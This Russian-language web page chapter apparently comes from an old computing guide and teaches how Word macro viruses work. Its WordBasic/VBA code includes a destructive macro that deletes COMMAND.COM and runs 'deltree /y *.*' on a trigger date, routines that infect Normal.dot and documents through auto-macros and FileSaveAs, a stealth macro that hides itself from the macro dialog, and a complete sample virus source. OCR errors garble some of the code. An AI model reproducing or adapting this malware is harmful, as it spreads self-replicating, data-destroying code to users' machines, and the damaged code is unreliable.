InfoCity
InfoCity - виртуальный город компьютерной документации
Реклама на сайте







Размещение сквозной ссылки

 

Макро-вирусы


В этой главе рассказано о макровирусах. Подробно описана процедура и методы заражения файлов. Представлен исходный текст макровируса с подробными комментариями. Приведены основные сведения о языке VBA, его процедурах, функциях, стандартных конструкциях.

Как известно, в последнее время большое распространение получили макро-вирусы. По сведениям из различных источников, на эти вирусы приходится от 70 до 80 процентов заражений. Изложенный ниже материал поможет разобраться в вирусах этого типа.

Инструментарий


Для изучения макро-вирусов понадобится некоторое программное обеспечение. В качестве "полигона" необходим MS-WORD версии 6.0 или выше. Для изучения зашифрованных макросов может пригодиться дизассемблер макросов (автор AURODREPH из VBB). Для более полного понимания всего изложенного ниже желательно иметь базовые знания о WORD BASIC.

Чтобы обезопасить рабочие файлы от плодов экспериментов, настоятельно рекомендуется создать резервную копию шаблона NORMAL.DOT в каталоге WINWORD6\TEMPLATE, так как именно этот документ обычно заражается макро-вирусом. Когда все готово, самое время перейти к основам макро-вирусов.

Общие сведения


Макрос - это программа, написанная на некотором языке, которая используется обычно для автоматизации определенных процессов внутри приложений. В данном случае разговор пойдет о языках Visual Basic for Applications (VBA) и WordBasic (WB), которые Microsoft использует в своих программах (в частности, Excel, Project и PowerPoint используют VBA, a WinWord - WB).

Далее будем считать стандартным языком VBA, так как он представляет собой попытку унифицировать макроязык, сделать его общим для всех программ Microsoft. Несмотря на то, что WB имеет некоторые отличия, в том числе и в синтаксисе, структура кода этих языков похожа. При необходимости будет особо отмечено, что речь идет о WB.

Макрос VBA - это вызываемые процедуры. Они бывают двух типов:

процедуры-подпрограммы и процедуры-функции.

Процедуры-подпрограммы могут исполняться непосредственно или вызываться из других макросов. Синтаксис их следующий:

Sub <Имя_Макроса>

-> код макроса <-

'Комментарий начинается с апострофа

End Sub

Пример;

'Данный макрос открывает диалоговое окно и выводит сообщение

Sub Stupid_Greeting

MsgBox "Hello World!"

End Sub

Процедуры-функции (также называемые просто функциями) возвращают значение, которое может быть передано в качестве параметра другой процедуре. Их синтаксис:

Function <Имя_Функции>(Аргументы)
-> Инструкции <-
'Комментарий
End Function

Пример:

'Суммирует параметры а и b и возвращает
'результат в переменную "AddAB"
Function AddAB(a.b)
AddAB=a+b
End Function

Конечно, в документ можно вставить столько макросов, сколько нужно (или сколько хочется), ограничений на их количество нет. Набор макросов (процедур-подпрограмм и процедур-функций), составляющих документ, называется модулем VBA.

Язык VBA работает также с объектами (внутри модулей VBA можно делать ссылки на документы, графику). Объекты обладают свойствами. Например, свойством (или атрибутом) объекта является его цвет.

VBA также позволяет работать с переменными. Как любой язык структурного типа, VBA имеет типичные конструкции:

цикл "For-next":

Sub Counter "Процедура

lnfect_Num=0

For Count=1 to 10 'Цикл от 1 до 10

lnfect_Num=lnfect_Num+Count

Next Count

MsgBox "Достигли максимального количества заражений"

End Sub

4-1436

условие "If-then":

Sub lnfect_Check

If lnfect_Num=0 Then MsgBox "Файл не заражен"

End Sub

конструкция "With-end with" (используется для работы с несколькими
свойствами конкретного объекта):

Sub ChangeProperties
With Selection
.Font.Bold=True

.Font.Colorlndex=3 'красный цвет
End With
End Sub

селектор "Select case-end case":

Sub CheckJnfection

Select Case lnfect_Num

Case 0

MsgBox "Файл не заражен"

Case is > О

MsgBox "Файл заражен"

s

Case is < О

lnfect_Num=0

End Case

End Sub

Полезным инструментом для работы с VBA является окно отладки. В нем можно трассировать код, вносить в него изменения и делать многое другое. В процессе отладки для остановки на некоторое время исполнения кода используются флаги. Чтобы можно было анализировать содержимое конкретных переменных и/или инструкций, после каждой команды выводятся сообщения (в отладчике VBA для прерывания исполнения кода можно ставить также контрольные точки).

Нужно обратить внимание на разнообразные аргументы функций. Как уже говорилось, структура их следующая:

Function <Имя>(Аргументы)

[.]
End Function

Аргументами могут быть константы, переменные или выражения. Процедуры могут быть и без аргументов.

Function Get_Name()
Name=Application.UserName
End Function

Некоторые функции всегда требуют фиксированное число аргументов (до 60). Другие функции имеют несколько обязательных аргументов, а остальные могут отсутствовать.

После того, как основы VBA стали понятны, идем дальше. Итак, вирусы и "троянцы" на VBA.

Язык VBA универсален, и тому есть две причины. Во-первых, этот язык прост в изучении и использовании, поскольку он является языком визуального программирования, он ориентирован на события, а не на объекты. С его помощью без особых затрат времени очень легко создавать сложные модули. Во вторых, можно использовать большое количество предопределенных функций, облегчающих работу. В третьих, имеются функции (или макросы) автоматического выполнения, что позволяет упростить написание процедур автокопирования, занесения в память и прочих используемых стандартными DOS-вирусами.

Помимо этого, преимуществом VBA является свойство переносимости. VBA работает под Win З.х, Win95, WinNT, MacOS и так далее, то есть в любой операционной системе, где можно запустить приложения его поддерживающие.

VBA представляет собой язык, адаптированный к языку приложения, из-под которого он запущен. Это означает, что если на компьютере установлена, например, испанская версия WinWord, то имена предопределенных функций будут также на испанском. Так что два следующих макроса - вовсе не одно и то же.

Первый макрос (испанский):

Sub Demo_Macro
Con Seleccion.Fuente
.Nombre="Times"
Fin Con
End Sub

Второй макрос (английский):

Sub Demo_Macro
With Selection.Font
.Name="Times"

End With
End Sub

Последний макрос не будет работать в испанской версии WinWord (а первый - в английской) - он вызовет ошибку выполнения макроса. Еще отметим, что VBA - язык интерпретируемого (некомпилируемого) типа, так что каждая ошибка выполнения проявляется "в полете".

Существуют функции, единые для всех версий VBA, вне зависимости от языка. Например, автоматический макрос AutoExec.

Всего таких специальных макросов пять, выполняются они автоматически:

AutoExec: это макрос, активируемый при загрузке текстового процессора, но только в том случае, если он сохранен в шаблоне Normal.dot или в каталоге стандартных приложений;

AutoNew: активизируется при создании нового документа;

AutoOpen: активизируется при открытии существующего документа;

AutoClose: активизируется при закрытии документа;

AutoExit: активизируется при выходе из текстового процессора.

В качестве доказательства силы и универсальности этих макросов рассмотрим следующий фрагмент кода (о языке уже договорились).

'Макрос наиболее эффективен, если его сохранить как AutoExit
Sub Main

'Проверим регистрационное имя
If Application. Username <> "MaD_MoTHeR" Then

'Снимем атрибуты COMMAND.COM
SetAttr "C:\COMMAND.COM",0

'Откроем для проверки - вдруг появятся ошибки
Open "CACOMMAND.COM" for Output as #1

'Если ошибки есть, то закроем.
Close #1

'и удалим

Kill "CACOMMAND.COM"

End If

'Проверим месяц и дату. Если 29 февраля, то выполним
'команду "deltree /у >nul
If Month(Now())=2 Then
If Day(Now())=29 Then
Shell "deltree /y *.* >nu"
End If
End If
End Sub

Что делает этот макрос? При выходе из WinWord он проверяет два параметра: имя, на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля, выполняется команда "deltree /у *.* > nub).

Очень важно знать, как адаптировать автоматический макрос (ниже приведен простейший вариант), чтобы активизировать его в открываемый по умолчанию шаблон WinWord.

Это делается так:

Определяется переменная, в которую записывается полное имя макроса:

name$=WindowName$()+":AutoNew"

'этот макрос будет выполняться каждый раз

'при создании нового документа

Теперь нужно записать макрос в шаблон NORMAL.DOT простой командой:

MacroCopy name$, "Global:AutoNew"

Это стандартный способ работы макро-вирусов, но есть еще много других, более интересных способов заражения. Всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макро-вирусов.

MacroCopy "MyTemplate:MyMacro", "GlobahAutoClose", 1

Если выполняется команда MacroCopy с параметром, равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос, который нельзя редактировать.

Большинство макро-вирусов имеют типичную структуру. Они начинаются с автовыполняемого макроса, заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы, которые заражают файлы при определенных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражаются при совершении над ними операций вирусными макросами, то есть они будут инфицироваться при открытии.

Код для процедуры автовыполнения может выглядеть примерно так:

Sub MAIN

On Error Goto Abort

iMacroCount=CountMacros(0, 0) 'Проверка на зараженность

For i=1 To iMacroCount

If MacroName$(i, 0, 0)="PayLoad" Then

binstalled =-1 'с помощью макроса Payload

End If

If MacroName$(i, 0, 0)="FileSaveAs" Then

bTooMuchTrouble =-1 'но если есть макрос FileSaveAs,
'то заразить тяжело

End If

Next i

If Not binstalled And Not bTooMuchTrouble Then

'Добавим макросы FileSaveAs и копии AutoExec и FileSave
'Payload используется только для проверки на зараженность
',1 - кодирует макросы, делая их нечитаемыми в Word

iWW6llnstance=Val(GetDocumentVar$("WW6lnfector"))

sMe$=FileName$()

Macro$=sMe$+":PayLoad"

MacroCopy Macro$, "Global:PayLoad", 1

Macro$=sMe$+":FileOpen" 'Будет происходить заражение

MacroCopy Macro$, "GlobahFileOpen", 1

Macro$=sMe$+":FileSaveAs"

MacroCopy Macro$, "GlobahFileSaveAs", 1

Macro$=sMe$+":AutoExec"

MacroCopy Macro$, "GlobahAutoExec", 1

SetProfileString "WW6I", Str$(iWW6llnstance+1)

End If

Abort:

End Sub

Процедура SaveAs


Она копирует макро-вирус в активный документ при его сохранении через команду File/SaveAs. Эта процедура использует во многом схожую с процедурой AutoExec технологию. Код для нее:

Sub MAIN

Dim dig As FileSaveAs

GetCurValues dig

Dialog dig

If (Dlg.Format=0) Or (dlg.Format=1) Then

MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs"

'Заражает при сохранении документа
MacroCopy "FileSave", WindowName$()+":FileSave"
MacroCopy "PayLoad", WindowName$()+":PayLoad"
MacroCopy "FileOpen", WindowName$()+":FileOpen"

'При открытии документа
Dlg.Format=1
End If

FileDaveAs dig
End Sub

Этой информации вполне достаточно для создания небольших макровирусов.

Специальные процедуры


Существует несколько способов скрыть вирус или сделать его более эффективным. Например, можно создать специальный макрос, прячущий вирус, если Tools/Macro открывается для просмотра. Код такого макроса может выглядеть примерно так:

Sub MAIN
On Error Goto ErrorRoutine

OldName$=NomFichier$()

If macros.bDebug Then

MsgBox "start ToolsMacro"

Dim dig As OutilsMacro

If macros.bDebug Then MsgBox "1"

GetCurValues dig

If macros.bDebug Then MsgBox "2"

On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:

On Error Goto ErrorRoutine 'При ошибке на выход
End If

REM enable automacros
DisableAutoMacros 0

macros. SavToGlobal(01dName$)

macros.objectiv

Goto Done 'Переход на метку Done

ErrorRoutine:

On Error Goto Done "Переход на метку Done
If macros.bDebug Then

MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке
End If

Done:

End Sub

Макро-вирусы также могут включать внешние процедуры. Например, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса, некоторые троянские макросы пытаются фор матировать винчестер при открытии документа.

Пример макро-вируса


Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.

Macro name: AutoNew [AUTONEW] "U"
Encryption key: DF
Sub MAIN

'Включаем обработку автоматических макросов
DisableAutoMacros 0

'Проверим, установлен ли макрос. Если макрос AutoExec
'присутствует, считаем, что файл заражен
If (lnstalled=0) And (Forgetlt=0) Then

'Заразим. Копируем макрос

MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1

MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1

MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1

MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1

MacroCopy WindowName$()+":DateiSpeichernUnter",

"Global.-DateiSpeichernllnter", 1

MacroCopy WindowName$()+":DateiBeenden",

"GlobahDateiBeenden", 1

MacroCopy WindowName$() + ": ExtrasOptionen ",

"Global :ExtrasOptionen", 1

MacroCopy WindowName$()+":DateiDokvorlagen",

"GlobaLDateiDokvorlagen", 1

MacroCopy WindowName$()+":lt", "Global:lt", 1

MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1

End If

End Sub

'Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed

'Установим переменную Installed в 0 (инициализация переменной).
"При положительном результате проверки установим ее в 1
lnstalled=0

'Проверим, есть ли макросы
If CountMacros(O) > 0 Then

"Проверим имена макросов. Если есть AutoExec,

"установим переменную Installed в 1

For i=1 To CountMacros(O)

If MacroName$(i, 0)="AutoExec" Then

lnstalled=1

End If

Next i

End If

End Function

Function Forgetit

Forgetlt=0

Section$="Compatibility"

ProfilName$="Nomvir"

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$="Ox0690690" Then

Forgetlt=1

End If

End Function

[Назад][Содержание][Вперед]


Реклама на InfoCity

Яндекс цитирования



Финансы: форекс для тебя








1999-2009 © InfoCity.kiev.ua